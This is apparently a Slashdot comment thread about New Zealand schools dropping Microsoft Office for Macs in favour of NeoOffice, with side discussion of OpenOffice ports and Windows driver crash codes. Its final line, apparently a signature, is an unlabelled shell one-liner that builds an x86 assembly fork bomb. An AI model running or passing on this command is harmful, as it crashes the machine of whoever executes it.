New Zealand Rejects Office For Macs
An anonymous reader writes "The New Zealand Ministry of Education has declined to renew a licensing deal for MS Office on 25,000 Macintosh computers in the country's schools. The Education Minister has suggested that schools use the free alternative NeoOffice. The article quotes a school principal who pointed out that the NeoOffice website warns users to expect problems and bugs: 'That's not the sort of software we should be expecting kids in New Zealand to be using.'" Schools are free to buy their own copies of Office. A blog on the New Zealand Herald site argues that the Ministry should have paid Microsoft this time, but not renewed the deal and instead developed a transition plan to open source.
Well, they sort of DID choose Open Office, except that they chose the native MacOS X port of it instead of the "plain" version.
http://www.neooffice.org/neojava/es/index.php
34486853790
Connection too slow for X forwarding? Try "ssh -CX user@host"
- OpenOffice in X11, which is ugly, and doesn't integrate with the rest of the system.
- OpenOffice for Mac, which is unstable and is only available in source form.
- NeoOffice, which is fairly stable, doesn't need X11, and works now.
Unfortunately, the work done by the NeoOffice team is licensed under the GPL, and so can't be pushed back upstream to the OpenOffice, which is LGPL. NeoOffice is a fork, and will remain so unless they decide to change their license, and so will need to pull changes down from upstream periodically. The OpenOffice native port stays in sync with changes in the main tree automatically.I am TheRaven on Soylent News
Sounds a lot like Debian's idea of "unstable", which other people think of as "stable", or their idea of "stable", which other people think of as "military grade".
I've personally seen the IRQL error several times on machines that run Linux flawlessly (and more often!) If it's something that rears its head only when there's bad hardware, then Linux must be a magical operating system that can turn bad hardware into good.
If you're trying to suggest BSODs are a thing of the past, I have just two things to say:
/ seminar/scpresentation.pdf
PAGE_FAULT_IN_NONPAGED_AREA
IRQ_NOT_LESS_THAN_OR_EQUAL
Those are due to driver bugs. Page fault in non paged area means a bad pointer - you touched a page that was marked as not present, but since the area is unpaged the OS can't do anything to fix it.
IRQL not less than or equal is more interesting. NT has a concept of IRQL. It's an abstraction, and it means which interrupts are enabled. The lowest level in kernel mode is PASSIVE_LEVEL which means the scheduler is enabled. The next highest level is DISPATCH_LEVEL where it is not. Above that are the hardware interrupt levels. Now consider a spinlock, an OS synchronisation primitive. These are to protect shared resources. Drivers call KeAcquireSpinLock() to get them, do some stuff and then KeReleaseSpinLock() to release them. On a SMP system, KeAcquireSpinLock needs to raise IRQL and then acquire the lock. On a single processor system it just raises the IRQL.
http://ext2fsd.sourceforge.net/documents/irql.htm
So IRQL in Windows NT is very important thing. If the system is running at a raised IRQL, someone is holding a spinlock, or an interrupt is in progress.
Lots of kernel routines are documented in the DDK as being only callable at a certain maximum IRQL. Typically, IRQL_NOT_LESS_THAN_OR_EQUAL is caused by touching paged data at a raised IRQL which can't work as the pager risks a deadlock when it tries to acquire spinlocks to page it in, or less likely by calling a function which is documented as not being callable at that IRQL.
If you look at the stackframe, you can see which driver is to blame and either disable or update it. If the system has always been unstable, check the RAM.
Interestingly enough, Microsoft are experimenting with static code analysis and automated test cases to catch driver errors like this
http://www.inf.uni-konstanz.de/soft/teaching/ws05
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;